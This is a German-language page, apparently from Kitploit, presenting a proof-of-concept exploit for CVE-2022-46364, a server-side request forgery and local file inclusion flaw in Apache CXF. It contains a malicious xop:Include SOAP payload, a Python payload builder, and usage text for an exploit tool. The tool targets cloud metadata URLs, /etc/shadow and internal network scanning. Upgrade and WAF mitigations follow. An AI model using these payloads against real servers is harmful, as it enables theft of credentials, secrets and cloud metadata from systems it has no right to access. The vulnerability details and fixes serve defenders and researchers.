CVE-2022-46364-Proof-of-the-concept — Diese Schwachstelle ermöglicht es einem Angreifer, SSRF-Angriffe (Server-Side Request Forgery) auf Apache-CXF-Webdienste durchzuführen, die MTOM/XOP-Anfragen akzeptieren. Das Problem besteht darin, wie das href-Attribut von xop:Include geparst wird, wodurch der Server beliebige URLs anfordern kann. | Kitploit

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

// Vereinfachte Darstellung des anfälligen Codes in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // Keine Protokollvalidierung!
    return new DataHandler(url.openStream());
}

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF zu LFI Exploit - Nur zu Bildungszwecken

options:
  -h, --help            Zeigt diese Hilfemeldung an und beendet das Programm
  -t TARGET, --target TARGET
                        Basis-URL des Ziels (z. B. http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Pfad des Web-Service-Endpunkts (Standard: /services/Service)
  -u URL, --url URL     Externe URL für SSRF (z. B. http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Lokaler Dateipfad für LFI (z. B. /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Internen Netzwerkbereich in CIDR-Notation scannen (z. B. 192.168.1.0/24)

Argument	Beschreibung	Beispiel
`-t, --target`	Erforderlich. Basis-URL des Ziel-Apache-CXF-Dienstes	`http://10.10.10.50:8080`
`-e, --endpoint`	Optional. SOAP-Endpunktpfad	`/services/UserManagement`
`-u, --url`	HTTP/HTTPS-URL, die per SSRF abgerufen werden soll	`http://169.254.169.254/latest/user-data`
`-f, --file`	Lokaler Dateipfad, der per LFI gelesen werden soll	`/etc/shadow`, `C:\ProgramData\secret.txt`


---



### Kerndetails der Implementierung

#### 1. MTOM-Payload-Konstruktion
```python
def create_mtom_payload(uri):
    """Erstelle eine multipart/related MTOM-Nachricht mit xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

<!-- Für Maven-Projekte -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- oder 3.4.10 für Legacy -->
</dependency>

MTOM komplett deaktivieren (falls nicht benötigt):

<jaxws:endpoint ...>
    <jaxws:properties>
        <entry key="mtom-enabled" value="false"/>
    </jaxws:properties>
</jaxws:endpoint>

Netzwerkebenen-Kontrollen:
- Ausgehende Verbindungen vom CXF-Anwendungsserver einschränken
- Firewalls verwenden, um Zugriff auf interne IP-Bereiche von der Anwendungsschicht aus zu verhindern
- Egress-Filtering implementieren
Web Application Firewall (WAF)-Regeln:
- Anfragen blockieren, die xop:Include mit href enthalten, das auf file:// oder interne IP-Adressen verweist

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

CVE-ID	CVE-2022-46364
GHSA-ID	GHSA-x3x3-qwjq-8gj4
Schwachstellentyp	Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Betroffene Software	Apache CXF < 3.5.5, Apache CXF < 3.4.10
Schweregrad	Kritisch
CVSS-Score	9.8 (Kritisch)
Angriffsvektor	Netzwerk
Authentifizierung	Keine erforderlich
Patch-Versionen	Apache CXF 3.5.5+, 3.4.10+

CVE-2022-46364-Proof-of-the-concept

Beliebteste

Über

🔬 SCHWACHSTELLENDETAILS

Das Kernproblem

Warum dies wichtig ist

Betroffene Konfigurationen

🧠 TECHNISCHE TIEFENANALYSE

Protokollhintergrund: MTOM und XOP

Der anfällige Codepfad

Code-Ausschnitt (Anfälliges Muster)

Warum LFI funktioniert

Netzwerkscan-Fähigkeit

🛠️ NUTZUNG DES EXPLOITS

Befehlsyntax

Erläuterung der Argumente

📦 INSTALLATION & VORAUSSETZUNGEN

Voraussetzungen

Installationsschritte

🛡️ ABHILFEMASSNAHMEN

Offizieller Fix

Workarounds (falls Patchen nicht möglich)

📚 REFERENZEN & DANKSAGUNGEN

Ursprüngliche Forscher

Offizielle Advisories

Verwandte Ressourcen

Danksagungen

📄 LIZENZ